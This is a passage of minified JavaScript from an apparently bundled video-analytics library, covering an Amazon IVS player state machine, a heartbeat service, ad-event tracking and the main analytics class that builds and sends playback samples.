i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");e(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),h;Object.defineProperty(t,"__esModule",{value:!0});t.AmazonIVSStateMachine=void 0;var r,l=i(9363),u=i(4057),o=i(6767),s=i(1700),a=i(4984);!function(n){n.SETUP="SETUP";n.READY="READY";n.STARTUP="STARTUP";n.PLAYING="PLAYING";n.PAUSE="PAUSE";n.REBUFFERING="REBUFFERING";n.EXIT_BEFORE_VIDEOSTARTUP="EXIT_BEFORE_VIDEOSTARTUP";n.ERROR="ERROR";n.UNLOADED="UNLOADED";n.QUALITY_CHANGE="QUALITY_CHANGE";n.SEEKING="SEEKING"}(r||(r={}));h=function(n){function t(t,i,f){var e=n.call(this,t,f)||this;return e.heartbeatService=i,e.getStateHandler=function(){var n;return(n={})[r.SETUP]={onenterstate:function(){},onleavestate:function(n){e.stateMachineCallbacks.setup(n,r.SETUP.toLowerCase())}},n[r.READY]={onenterstate:function(){},onleavestate:function(){}},n[r.STARTUP]={onenterstate:function(){e.setVideoStartTimeout()},onleavestate:function(n,t){e.clearVideoStartTimeout();t==r.PLAYING&&e.stateMachineCallbacks.startup(n,r.STARTUP.toLowerCase())}},n[r.PLAYING]={onenterstate:function(){e.heartbeatService.startHeartbeat()},onleavestate:function(n){e.heartbeatService.stopHeartbeat();e.stateMachineCallbacks.playing(n,r.PLAYING.toLowerCase())}},n[r.PAUSE]={onenterstate:function(){},onleavestate:function(n){e.stateMachineCallbacks.pause(n,r.PAUSE.toLowerCase())}},n[r.REBUFFERING]={onenterstate:function(){e.startRebufferingHeartbeatInterval()},onleavestate:function(n){e.resetRebufferingHelpers();e.stateMachineCallbacks.rebuffering(n,r.REBUFFERING.toLowerCase())}},n[r.EXIT_BEFORE_VIDEOSTARTUP]={onenterstate:function(n,t){var r={reason:e.getReasonForVideoStartFailure(n)},i=n===u.Event.ERROR,f=!i;e.stateMachineCallbacks.videoStartFailed(r,f);i&&e.stateMachineCallbacks.error(t)},onleavestate:function(){}},n[r.ERROR]={onenterstate:function(n,t){e.stateMachineCallbacks.error(t)},onleavestate:function(){}},n[r.UNLOADED]={onenterstate:function(){e.stateMachineCallbacks.unload(0,r.UNLOADED)},onleavestate:function(){}},n[r.QUALITY_CHANGE]={onenterstate:function(n,t){e.stateMachine.FINISH_QUALITYCHANGE(e.onEnterStateTimestamp,t)},onleavestate:function(){e.stateMachineCallbacks.qualitychange(0,r.QUALITY_CHANGE.toLowerCase())}},n[r.SEEKING]={onenterstate:function(){},onleavestate:function(n){e.stateMachineCallbacks.end_play_seeking(n,r.SEEKING.toLowerCase())}},n},e}return c(t,n),t.prototype.createStateMachine=function(n){var t=this;return this.onEnterStateTimestamp=n.starttime,l.StateMachine.create({initial:r.SETUP,error:function(n,t,i,r,u,f){o.logger.error("Error in statemachine: "+f)},events:[{name:u.Event.READY,from:r.SETUP,to:r.READY},{name:u.Event.PLAY,from:r.READY,to:r.STARTUP},{name:u.Event.PLAYING,from:r.STARTUP,to:r.PLAYING},{name:u.Event.PAUSE,from:r.PLAYING,to:r.PAUSE},{name:u.Event.PLAYING,from:r.PAUSE,to:r.PLAYING},{name:u.Event.PLAY,from:r.PAUSE,to:r.PLAYING},{name:u.Event.UNLOAD,from:r.PLAYING,to:r.UNLOADED},{name:u.Event.PLAYING,from:r.ERROR,to:r.PLAYING},{name:u.Event.VIDEO_CHANGE,from:r.PLAYING,to:r.QUALITY_CHANGE},{name:"FINISH_QUALITYCHANGE",from:r.QUALITY_CHANGE,to:r.PLAYING},{name:u.Event.SEEK,from:r.PLAYING,to:r.SEEKING},{name:u.Event.SEEKED,from:r.SEEKING,to:r.PLAYING},{name:u.Event.PAUSE,from:r.SEEKING,to:r.PAUSE},{name:u.Event.START_BUFFERING,from:r.PLAYING,to:r.REBUFFERING},{name:u.Event.PLAYING,from:r.REBUFFERING,to:r.PLAYING},{name:u.Event.VIDEOSTART_TIMEOUT,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTARTUP},{name:u.Event.ERROR,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTARTUP},{name:u.Event.UNLOAD,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTARTUP},{name:u.Event.ERROR,from:v([r.STARTUP,r.EXIT_BEFORE_VIDEOSTARTUP]),to:r.ERROR},f(u.Event.PAUSE).in(r.PAUSE),f(u.Event.PAUSE).in(r.STARTUP),f(u.Event.PAUSE).in(r.REBUFFERING),f(u.Event.PLAY).in(r.PLAYING),f(u.Event.PLAYING).in(r.PLAYING),f(u.Event.START_BUFFERING).in(r.PAUSE),f(u.Event.START_BUFFERING).in(r.REBUFFERING),f(u.Event.VIDEOSTART_TIMEOUT).in(r.PLAYING),f(u.Event.VIDEOSTART_TIMEOUT).in(r.PAUSE),f(u.Event.VIDEOSTART_TIMEOUT).in(r.SEEKING),f(u.Event.UNLOAD).in(r.READY),f(u.Event.UNLOAD).in(r.SEEKING),f(u.Event.VIDEO_CHANGE).in(r.QUALITY_CHANGE),f(u.Event.VIDEO_CHANGE).in(r.STARTUP),f(u.Event.VIDEO_CHANGE).in(r.REBUFFERING),f(u.Event.VIDEO_CHANGE).in(r.PAUSE),f(u.Event.VIDEO_CHANGE).in(r.ERROR),f(u.Event.VIDEO_CHANGE).in(r.EXIT_BEFORE_VIDEOSTARTUP),f(u.Event.VIDEO_CHANGE).in(r.READY),f(u.Event.VIDEO_CHANGE).in(r.SEEKING),f(u.Event.SEEK).in(r.SEEKING),f(u.Event.SEEK).in(r.PAUSE),f(u.Event.SEEKED).in(r.PAUSE),f(u.Event.SEEK).in(r.QUALITY_CHANGE),f(u.Event.SEEKED).in(r.QUALITY_CHANGE),f(u.Event.SEEK).in(r.REBUFFERING),f(u.Event.SEEKED).in(r.REBUFFERING),f(u.Event.SEEK).in(r.ERROR),f(u.Event.SEEKED).in(r.ERROR),f(u.Event.SEEK).in(r.STARTUP),f(u.Event.SEEKED).in(r.STARTUP),f(u.Event.SEEK).in(r.READY),f(u.Event.SEEKED).in(r.READY),f(u.Event.SEEK).in(r.EXIT_BEFORE_VIDEOSTARTUP),f(u.Event.SEEKED).in(r.EXIT_BEFORE_VIDEOSTARTUP)],callbacks:{onenterstate:function(n,i,r,u,f){"none"!=i&&void 0!==r&&void 0!==n&&(f&&t.stateMachineCallbacks.setVideoTimeStartFromEvent(f),o.logger.log("[ENTER ".concat(u,"] EVENT: ").concat(n," \nfrom: ").concat(i,"\t to: ").concat(r)),t.onEnterStateTimestamp=u||s.getCurrentTimestamp(),t.getStateHandler()[r].onenterstate(n,f))},onleavestate:function(n,i,r,u,f){if(u&&"none"!=i&&void 0!==i&&void 0!==r){f&&t.stateMachineCallbacks.setVideoTimeEndFromEvent(f);var e=u-t.onEnterStateTimestamp;t.getStateHandler()[i].onleavestate(e,r)}}}})},t.prototype.callEvent=function(n,t,i){var r=this.stateMachine[n];r?r.call(this.stateMachine,i,t):o.logger.log("Ignored Event: "+n)},t.prototype.sourceChange=function(n,t,i){this.callEvent(u.Event.MANUAL_SOURCE_CHANGE,{config:n,currentTime:i},t)},t.prototype.onHeartbeat=function(n){this.stateMachineCallbacks.setVideoTimeEndFromEvent(n);var t=s.getCurrentTimestamp(),i=t-this.onEnterStateTimestamp;this.stateMachineCallbacks.heartbeat(i,"playing",{played:i});this.onEnterStateTimestamp=t;this.stateMachineCallbacks.setVideoTimeStartFromEvent(n)},t}(a.AnalyticsStateMachine);t.AmazonIVSStateMachine=h;var f=function(n){return{"in":function(t){return{name:n,from:t,to:t}}}},v=function(n){return y().filter(function(t){return n.indexOf(t)<0})},y=function(){return Object.keys(r).map(function(n){return r[n]})}},978:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.HeartbeatService=void 0;var i=function(){function n(n,t){this.heartbeatIntervalMs=n;this.playerContext=t}return n.prototype.setListener=function(n){this.listener=n},n.prototype.startHeartbeat=function(){var n=this;void 0!==this.heartbeatInterval&&this.clearHeartbeat();this.heartbeatInterval=window.setInterval(function(){var t,i={currentTime:n.playerContext.position};null===(t=n.listener)||void 0===t||t.onHeartbeat(i)},this.heartbeatIntervalMs)},n.prototype.stopHeartbeat=function(){this.clearHeartbeat()},n.prototype.clearHeartbeat=function(){window.clearTimeout(this.heartbeatInterval);this.heartbeatInterval=void 0},n}();t.HeartbeatService=i},2498:function(n,t,i){"use strict";var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)},s;Object.defineProperty(t,"__esModule",{value:!0});t.AdAnalytics=void 0;var f,h=i(2764),c=i(5464),e=i(1834),o=i(5014),l=i(6767),r=i(1700),a=i(3871);!function(n){n.FIRST_QUARTILE="firstQuartile";n.MIDPOINT="midpoint";n.THIRD_QUARTILE="thirdQuartile"}(f||(f={}));s=function(){function n(n,t){var i=this;this.onBeforeUnLoadEvent=!1;this.adManifestLoadedEvents=[];this.isPlaying=!1;this.adPodPosition=0;this.analytics=n;this.adapter=t;this.adapter.adCallbacks.onAdStarted=function(n){return i.onAdStarted(n)};this.adapter.adCallbacks.onAdFinished=function(n){return i.onAdFinished(n)};this.adapter.adCallbacks.onAdBreakStarted=function(n){return i.onAdBreakStarted(n)};this.adapter.adCallbacks.onAdBreakFinished=function(n){return i.onAdBreakFinished(n)};this.adapter.adCallbacks.onAdClicked=function(n){return i.onAdClicked(n)};this.adapter.adCallbacks.onAdError=function(n){return i.onAdError(n)};this.adapter.adCallbacks.onAdManifestLoaded=function(n){return i.onAdManifestLoaded(n)};this.adapter.adCallbacks.onPlay=function(){return i.onPlay()};this.adapter.adCallbacks.onPause=function(){return i.onPause()};this.adapter.adCallbacks.onBeforeUnload=function(){return i.onBeforeUnload()};this.adapter.adCallbacks.onAdSkipped=function(n){return i.onAdSkipped(n)};this.adapter.adCallbacks.onAdQuartile=function(n){return i.onAdQuartile(n)};this.viewportTracker=new a.ViewportTracker(this.adapter.getContainer(),function(){return i.onIntersectionChanged()},.5)}return n.prototype.release=function(){this.clearCurrentTimeInterval();this.viewportTracker.dispose()},n.prototype.onIntersectionChanged=function(){this.activeAdSample&&(this.isContainerInViewport()?this.enterViewportTimestamp=r.getCurrentTimestamp():this.enterViewportTimestamp&&(this.activeAdSample.timeInViewport=(this.activeAdSample.timeInViewport||0)+r.getCurrentTimestamp()-this.enterViewportTimestamp))},n.prototype.isContainerInViewport=function(){return!this.viewportTracker||this.viewportTracker.isInViewport()},n.prototype.onPlay=function(){if(this.adapter&&this.adapter.isLinearAdActive()&&this.activeAdSample){var n=r.getCurrentTimestamp();this.beginPlayingTimestamp=n;this.enterViewportTimestamp=n;this.isPlaying=!0}},n.prototype.onPause=function(){this.adapter&&this.adapter.isLinearAdActive()&&this.activeAdSample&&(this.updatePlayingTime(this.activeAdSample),this.isPlaying=!1)},n.prototype.onAdManifestLoaded=function(n){var t=n.adConfig;t&&t.tag&&"vmap"===t.tag.type?this.sendAnalyticsRequest(new e.AdBreakSample(n.adConfig,n)):n.adBreak&&this.adManifestLoadedEvents.push(n)},n.prototype.onAdBreakStarted=function(n){this.adPodPosition=0;this.activeAdBreakSample=new e.AdBreakSample(n.adBreak,this.getAdManifestLoadedEvent(n.adBreak));this.adStartupTimestamp=r.getCurrentTimestamp()},n.prototype.onAdBreakFinished=function(){this.resetActiveAd();this.activeAdBreakSample=void 0},n.prototype.onAdStarted=function(n){n.ad.isLinear&&(this.resetActiveAd(),this.activeAdSample=new o.AdSample(n.ad),this.currentTime=void 0,this.activeAdSample.adStartupTime=this.adStartupTimestamp?r.getCurrentTimestamp()-this.adStartupTimestamp:void 0,this.startAd(this.activeAdSample))},n.prototype.onAdFinished=function(){if(this.activeAdBreakSample&&this.activeAdSample){var n=u({},this.activeAdSample);n.completed=1;this.resetActiveAd();this.completeAd(this.activeAdBreakSample,n,n.adDuration)}},n.prototype.onAdSkipped=function(){if(this.activeAdBreakSample&&this.activeAdSample){var n=u({},this.activeAdSample);n.skipped=1;n.skipPosition=this.currentTime;n.skipPercentage=r.calculatePercentage(this.activeAdSample.skipPosition,this.activeAdSample.adDuration);this.resetActiveAd();this.completeAd(this.activeAdBreakSample,n,n.skipPosition)}},n.prototype.onAdError=function(n){var i,o,s=this,u=n.data||{adBreak:void 0,adConfig:void 0,code:void 0,message:void 0},h=u.adConfig,t=u.adBreak,c=u.code,l=u.message,f=new e.AdBreakSample(t||h,t?this.getAdManifestLoadedEvent(t):void 0);f.errorCode=c||n.code;f.errorData=JSON.stringify(n.data);f.errorMessage=l||n.name;this.activeAdSample&&t&&t.ads&&t.ads.includes(function(n){return n.id===s.activeAdSample.adId})&&(o=(i=this.activeAdSample).errorPosition=this.currentTime,i.errorPercentage=r.calculatePercentage(i.errorPosition,i.adDuration));this.completeAd(f,i,o)},n.prototype.onAdClicked=function(n){this.activeAdSample&&(this.activeAdSample.adClickthroughUrl=n.clickThroughUrl,this.activeAdSample.clicked=1,this.activeAdSample.clickPosition=this.currentTime,this.activeAdSample.clickPercentage=r.calculatePercentage(this.activeAdSample.clickPosition,this.activeAdSample.adDuration))},n.prototype.onAdQuartile=function(n){this.activeAdSample&&(n.quartile===f.FIRST_QUARTILE?this.activeAdSample.quartile1=1:n.quartile===f.MIDPOINT?this.activeAdSample.midpoint=1:n.quartile===f.THIRD_QUARTILE&&(this.activeAdSample.quartile3=1))},n.prototype.onBeforeUnload=function(){if(!this.onBeforeUnLoadEvent&&(this.onBeforeUnLoadEvent=!0,this.activeAdSample&&this.activeAdBreakSample)){var n=u({},this.activeAdSample);n.closed=1;n.closePosition=this.currentTime;n.closePercentage=r.calculatePercentage(n.closePosition,n.adDuration);this.resetActiveAd();this.completeAd(this.activeAdBreakSample,n,n.closePosition)}},n.prototype.createNewAdAnalyticsSample=function(n){var t=this.adapter.getAdModuleInfo();return u(u({},new c.AdAnalyticsSample(n)),{analyticsVersion:h.VERSION,adModule:t.name,adModuleVersion:t.version,playerStartupTime:this.analytics.playerStartupTime,pageLoadTime:this.analytics.pageLoadTime,autoplay:this.analytics.autoplay,pageLoadType:r.getPageLoadType()})},n.prototype.getAdManifestLoadedEvent=function(n){if(n)return this.adManifestLoadedEvents.find(function(t){return t.adBreak&&t.adBreak.id===n.id})},n.prototype.sendAnalyticsRequest=function(n,t){var i=u(u(u({},this.createNewAdAnalyticsSample(this.analytics.sample)),n),t||new o.AdSample);i.time=r.getCurrentTimestamp();i.adImpressionId=r.generateUUID();i.percentageInViewport=r.calculatePercentage(i.timeInViewport,i.timePlayed);this.analytics.backend.sendAdRequest(i)},n.prototype.updatePlayingTime=function(n){var t=r.getCurrentTimestamp();this.beginPlayingTimestamp&&this.isPlaying&&(void 0!==n.timePlayed&&(n.timePlayed+=t-this.beginPlayingTimestamp),this.isContainerInViewport()&&this.enterViewportTimestamp&&void 0!==n.timeInViewport&&(n.timeInViewport+=t-this.enterViewportTimestamp))},n.prototype.startAd=function(t){var i=this,u;t.started=1;t.timePlayed=0;t.timeInViewport=0;t.adPodPosition=this.adPodPosition;u=r.getCurrentTimestamp();this.beginPlayingTimestamp=u;this.enterViewportTimestamp=this.isContainerInViewport()?u:void 0;this.isPlaying=!0;this.currentTime=0;this.adPodPosition++;this.currentTimeInterval=window.setInterval(function(){try{t&&void 0!==t.adDuration&&t.adDuration>0&&i.adapter.isLinearAdActive()&&(i.currentTime=r.calculateTime(Math.max(i.adapter.currentTime(),0)))}catch(n){l.logger.log("AdStarted monitoring interval failed and got cleared",n);i.resetActiveAd()}},n.TIMEOUT_CURRENT_TIME_INTERVAL)},n.prototype.completeAd=function(n,t,i){void 0===t&&(t=new o.AdSample);t.exitPosition=i;t.playPercentage=r.calculatePercentage(t.exitPosition,t.adDuration);this.adStartupTimestamp=r.getCurrentTimestamp();this.updatePlayingTime(t);this.isPlaying=!1;this.sendAnalyticsRequest(n,t)},n.prototype.resetActiveAd=function(){this.clearCurrentTimeInterval();this.activeAdSample=void 0},n.prototype.clearCurrentTimeInterval=function(){window.clearInterval(this.currentTimeInterval);delete this.currentTime},n.MODULE_NAME="ads",n.TIMEOUT_CURRENT_TIME_INTERVAL=100,n}();t.AdAnalytics=s},2343:function(n,t,i){"use strict";var f=this&&this.__assign||function(){return f=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},f.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.createDeviceInformationFromConfig=t.Analytics=void 0;var o=i(2764),s=i(6087),h=i(2108),c=i(9962),l=i(1942),a=i(5216),e=i(6767),r=i(1700),u=i(9941),v=i(2498),y=i(4189),p=i(3382),w=i(4441),b=i(2228),k=function(){function n(n,t,i){var u,o,s,h;void 0===i&&(i=new y.BackendFactory);u=this;this.featureManager=new c.FeatureManager;this.onErrorDetailEventDispatcher=new p.EventDispatcher;this.pageLoadTime=0;this.playerStartupTime=0;this.videoStartupTime=0;this.autoplay=void 0;this.droppedSampleFrames=0;this.startupTime=0;this.authenticationCallback={authenticationCompleted:function(n,t){u.featureManager.configureFeatures(n,t)}};this.guardAgainstMissingVideoTitle=function(n,t){n&&t&&n.title&&!t.title&&e.logger.error("The new analytics configuration does not contain the field title")};this.guardAgainstMissingIsLive=function(n,t){null!=n&&null!=t&&n.isLive&&null==t.isLive&&e.logger.error("The new analytics configuration does not contain the field `isLive`. It will default to `false` which might be unintended? Once stream playback information is available the type will be populated.")};this.sourceChange=function(n){e.logger.log("Processing Source Change for Analytics",n);u.guardAgainstMissingVideoTitle(u.config,n);u.guardAgainstMissingIsLive(u.config,n);var t=u.getMergedAnalyticsConfig(n);u.adapter.sourceChange(t,r.getCurrentTimestamp())};this.setCustomDataOnce=function(n){var t=f({},u.config);u.setState("customdatachange");u.changeCustomData(n);u.sendAnalyticsRequestAndClearValues();u.config=f({},t);u.setConfigParameters()};this.setCustomData=function(n){u.adapter.setCustomData(n)};this.getCurrentImpressionId=function(){return u.sample.impressionId};this.getUserId=function(){return u.sessionHandler.userId};this.changeCustomData=function(n){var t,i;u.config=f(f({},u.config),(t=n,i={},l.customDataValuesKeys.forEach(function(n){t[n]&&(i[n]=t[n])}),i));u.setConfigParameters()};this.sessionHandler=new b.SessionPersistenceHandler(n);this.adapter=t;this.backendFactory=i;o=this;this.config=this.buildDefaultAnalyticsConfigValues(n);this.errorDetailTrackingSettingsProvider={get domain(){return o.getDomain(o.config)},get licenseKey(){var n;return null!==(n=o.config.key)&&void 0!==n?n:""},get impressionId(){var n;return null!==(n=o.getCurrentImpressionId())&&void 0!==n?n:""},get collectorConfig(){return o.config.config}};s=this.adapter.onLicenseKeyReceived.subscribe(function(n){u.config.key||(u.config.key=n.licenseKey);s()});this.sample=this.setupSample();this.init();this.setupStateMachineCallbacks();h=this.adapter.initialize(this);this.featureManager.registerFeatures(h);this.adapter.adModule&&(this.adAnalytics=new v.AdAnalytics(this,this.adapter.adModule));this.checkForErrorsInConfig(n)}return Object.defineProperty(n.prototype,"version",{get:function(){return o.VERSION},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"errorDetailSubscribable",{get:function(){return this.onErrorDetailEventDispatcher},enumerable:!1,configurable:!0}),n.prototype.getPlayerInformationFromAdapter=function(){var n=this.config.player||this.adapter.getPlayerName();return{player:n,version:n+"-"+this.adapter.getPlayerVersion(),playerTech:this.adapter.getPlayerTech()}},n.prototype.init=function(){!0===this.adapter.supportsDeferredLicenseLoading||u.isValidString(this.config.key)&&!u.isBlank(this.config.key)?(e.logger.setLogging(this.config.debug||!1),this.featureManager.resetFeatures(),this.backend=this.createBackend(this.config),this.videoStartupTime=0,this.setConfigParameters(),this.generateNewImpressionId(),this.setUserId(),this.adapter.videoCompletionTracker&&this.adapter.videoCompletionTracker.reset(),this.adapter.qualityChangeService.resetValues()):e.logger.error("Invalid analytics license key provided")},n.prototype.release=function(){var n;this.backend=new w.NoOpBackend;null===(n=this.adAnalytics)||void 0===n||n.release();this.adapter.qualityChangeService.stopResetInterval()},n.prototype.setConfigParameters=function(){var n,i;this.sample.key=this.config.key;this.sample.playerKey=this.config.playerKey;this.config.player&&(this.sample.player=this.config.player);this.sample.domain=null!==(n=this.getDomainFromConfig(this.config))&&void 0!==n?n:r.sanitizePath(window.location.hostname);this.sample.deviceInformation=t.createDeviceInformationFromConfig(this.config);this.sample.cdnProvider=this.config.cdnProvider;this.sample.videoId=this.config.videoId;this.sample.videoTitle=this.config.title;this.sample.customUserId=null!==(i=this.config.userId)&&void 0!==i?i:this.config.customUserId;r.transferCustomDataFields(this.config,this.sample);this.sample.experimentName=this.config.experimentName},n.prototype.generateNewImpressionId=function(){this.sample.impressionId=r.generateUUID()},n.prototype.setUserId=function(){this.sample.userId=this.sessionHandler.userId},n.prototype.setupStateMachineCallbacks=function(){var n=this;this.adapter.stateMachineCallbacks.setup=function(t,i){if(e.logger.log("Setup bitmovin analytics "+n.sample.analyticsVersion+" with impressionId: "+n.sample.impressionId),n.setDuration(t),n.setState(i),n.playerStartupTime=n.sample.playerStartupTime=t,window.performance&&window.performance.timing){var u=r.getCurrentTimestamp()-window.performance.timing.navigationStart;n.pageLoadTime=n.sample.pageLoadTime=u}n.startupTime=t;n.sendAnalyticsRequestAndClearValues();n.sample.pageLoadTime=0};this.adapter.stateMachineCallbacks.startup=function(t,i){n.setDuration(t);n.videoStartupTime=n.sample.videoStartupTime=t;n.sample.supportedVideoCodecs=a.CodecHelper.supportedVideoFormats;n.setState(i);n.startupTime>0&&(n.startupTime+=t);n.sample.startupTime=n.startupTime;n.autoplay=n.sample.autoplay=n.adapter.getAutoPlay();var r=n.adapter.getDrmPerformanceInfo();null!=r&&(n.sample.drmType=r.drmType,n.sample.drmLoadTime=r.drmLoadTime);n.sendAnalyticsRequestAndClearValues();n.sample.autoplay=void 0};this.adapter.stateMachineCallbacks.playing=function(t,i){n.setDuration(t);n.setState(i);n.sample.played=t;n.setCompletionValues();n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.unload=function(t,i){var u=n.sample.videoTimeStart;"playing"===i&&(n.setDuration(t),n.setState(i),n.sample.played=t,n.setCompletionValues(),n.sendUnloadRequest(),r.isNumber(n.sample.videoTimeEnd)&&(u=n.sample.videoTimeEnd));n.videoStartupTime>0&&(n.setVideoTimeStart(u),n.setVideoTimeEnd(u),n.clearValues(),n.setState("closed"),n.sendUnloadRequest())};this.adapter.stateMachineCallbacks.heartbeat=function(t,i,r){n.setState(i);n.setDuration(t);n.sample=f(f({},n.sample),r);"playing"===i&&n.setCompletionValues();n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.qualitychange=function(t,i){n.sendQualityChange(i,t)};this.adapter.stateMachineCallbacks.qualitychange_pause=function(t,i){n.sendQualityChange(i,t)};this.adapter.stateMachineCallbacks.qualitychange_rebuffering=function(t,i){n.sendQualityChange(i,t)};this.adapter.stateMachineCallbacks.videoChange=function(t){n.adapter.stateMachineCallbacks.setVideoTimeEndFromEvent(t);n.adapter.stateMachineCallbacks.setVideoTimeStartFromEvent(t);n.setPlaybackVideoPropertiesFromEvent(t)};this.adapter.stateMachineCallbacks.audioChange=function(t){n.adapter.stateMachineCallbacks.setVideoTimeEndFromEvent(t);n.adapter.stateMachineCallbacks.setVideoTimeStartFromEvent(t);n.setPlaybackAudioPropertiesFromEvent(t)};this.adapter.stateMachineCallbacks.audiotrack_changing=function(){n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.pause=function(t,i){n.setDuration(t);n.setState(i);n.sample.paused=t;n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.paused_seeking=function(t,i){n.setDuration(t);n.setState(i);n.sample.seeked=t;n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.end_play_seeking=function(t,i){n.setState(i);n.setDuration(t);n.sample.seeked=t;n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.rebuffering=function(t,i){n.setDuration(t);n.setState(i);n.sample.buffered=t;n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.videoStartFailed=function(t,i){void 0===i&&(i=!0);n.setState("startup");n.sample.videoStartFailed=!0;n.sample.videoStartFailedReason=t.reason.reason;null!=t.reason.errorCode&&(n.sample.errorCode=t.reason.errorCode.code,n.sample.errorMessage=t.reason.errorCode.message,i&&n.onErrorDetailEventDispatcher.dispatch(f({},t.reason.errorCode)));i&&n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.error=function(t){n.adapter.stateMachineCallbacks.setVideoTimeEndFromEvent(t);n.adapter.stateMachineCallbacks.setVideoTimeStartFromEvent(t);n.setState("error");n.sample.errorCode=t.code;n.sample.errorMessage=t.message;n.sample.errorData=JSON.stringify(t.legacyData);var i=n.adapter.segments.map(function(n){return n.name});n.sample.errorSegments=i;n.adapter.onError&&n.adapter.onError();n.onErrorDetailEventDispatcher.dispatch({code:t.code,message:t.message,errorData:t.data});n.sendAnalyticsRequestAndClearValues();delete n.sample.errorCode;delete n.sample.errorMessage;delete n.sample.errorData};this.adapter.stateMachineCallbacks.ad=function(t,i){n.setDuration(t);n.setState(i);n.sample.ad=t;n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.mute=function(){n.sample.isMuted=!0};this.adapter.stateMachineCallbacks.unMute=function(){n.sample.isMuted=!1};this.adapter.stateMachineCallbacks.subtitle_changing=function(){n.sendAnalyticsRequestAndClearValues()};this.adapter.stateMachineCallbacks.setVideoTimeEndFromEvent=function(t){r.isNumber(t.currentTime)&&n.setVideoTimeEnd(r.calculateTime(t.currentTime))};this.adapter.stateMachineCallbacks.setVideoTimeStartFromEvent=function(t){r.isNumber(t.currentTime)&&n.setVideoTimeStart(r.calculateTime(t.currentTime))};this.adapter.stateMachineCallbacks.manualSourceChange=function(t){n.adapter.resetSourceRelatedState();n.sample=n.setupSample();n.startupTime=0;n.config=Object.keys(t.config).length>0?t.config:n.config;n.init()};this.adapter.stateMachineCallbacks.playlistTransition=function(){n.sample=n.setupSample();n.startupTime=0;n.init()};this.adapter.stateMachineCallbacks.initialSourceChange=function(t){n.config=t.config;n.setConfigParameters()};this.adapter.stateMachineCallbacks.end=function(){n.sample=n.setupSample();n.startupTime=0;n.init()};this.adapter.stateMachineCallbacks.release=function(){n.release()};this.adapter.stateMachineCallbacks.customdatachange=function(t,i,r){r&&r.values&&n.changeCustomData(r.values)}},n.prototype.setDuration=function(n){this.sample.duration=n},n.prototype.setState=function(n){this.sample.state=n},n.prototype.setPlaybackVideoPropertiesFromEvent=function(n){r.isNumber(n.width)&&(this.sample.videoPlaybackWidth=n.width);r.isNumber(n.height)&&(this.sample.videoPlaybackHeight=n.height);r.isNumber(n.bitrate)&&(this.sample.videoBitrate=n.bitrate);u.isValidString(n.codec)&&(this.sample.videoCodec=n.codec)},n.prototype.setPlaybackAudioPropertiesFromEvent=function(n){r.isNumber(n.bitrate)&&(this.sample.audioBitrate=n.bitrate);u.isValidString(n.codec)&&(this.sample.audioCodec=n.codec)},n.prototype.setPlaybackInfoFromAdapter=function(){var n=this.adapter.getCurrentPlaybackInfo();n&&(this.sample.isLive=this.getIsLiveFromConfigOrPlaybackInfo(this.config,n.isLive),u.isValidString(n.size)&&(this.sample.size=n.size),u.isValidString(n.playerTech)&&(this.sample.playerTech=n.playerTech),r.isNumber(n.videoDuration)&&(this.sample.videoDuration=r.calculateTime(n.videoDuration||0)),u.isValidString(n.streamFormat)&&(this.sample.streamFormat=n.streamFormat),u.isValidString(n.mpdUrl)&&(this.sample.mpdUrl=n.mpdUrl),u.isValidString(n.m3u8Url)&&(this.sample.m3u8Url=n.m3u8Url),u.isValidString(n.progUrl)&&(this.sample.progUrl=n.progUrl),r.isNumber(n.videoWindowWidth)&&(this.sample.videoWindowWidth=n.videoWindowWidth),r.isNumber(n.videoWindowHeight)&&(this.sample.videoWindowHeight=n.videoWindowHeight),r.isNumber(n.screenHeight)&&(this.sample.screenHeight=n.screenHeight),r.isNumber(n.screenWidth)&&(this.sample.screenWidth=n.screenWidth),r.isNumber(n.videoPlaybackHeight)&&(this.sample.videoPlaybackHeight=n.videoPlaybackHeight),r.isNumber(n.videoPlaybackWidth)&&(this.sample.videoPlaybackWidth=n.videoPlaybackWidth),r.isNumber(n.videoBitrate)&&(this.sample.videoBitrate=n.videoBitrate),r.isNumber(n.audioBitrate)&&(this.sample.audioBitrate=n.audioBitrate),r.isBoolean(n.isMuted)&&(this.sample.isMuted=n.isMuted),r.isBoolean(n.isCasting)&&(this.sample.isCasting=n.isCasting),u.isValidString(n.castTech)&&(this.sample.castTech=n.castTech),u.isValidString(n.videoTitle)&&!this.config.title&&(this.sample.videoTitle=n.videoTitle),u.isValidString(n.audioCodec)&&(this.sample.audioCodec=n.audioCodec),u.isValidString(n.videoCodec)&&(this.sample.videoCodec=n.videoCodec),u.isValidString(n.audioLanguage)&&(this.sample.audioLanguage=n.audioLanguage),r.isBoolean(n.subtitleEnabled)&&(this.sample.subtitleEnabled=n.subtitleEnabled),this.sample.subtitleLanguage=u.isValidString(n.subtitleLanguage)?n.subtitleLanguage:void 0,r.isNumber(n.droppedFrames)&&(this.sample.droppedFrames=Math.max(n.droppedFrames-this.droppedSampleFrames,0),this.droppedSampleFrames=n.droppedFrames))},n.prototype.setupSample=function(){return 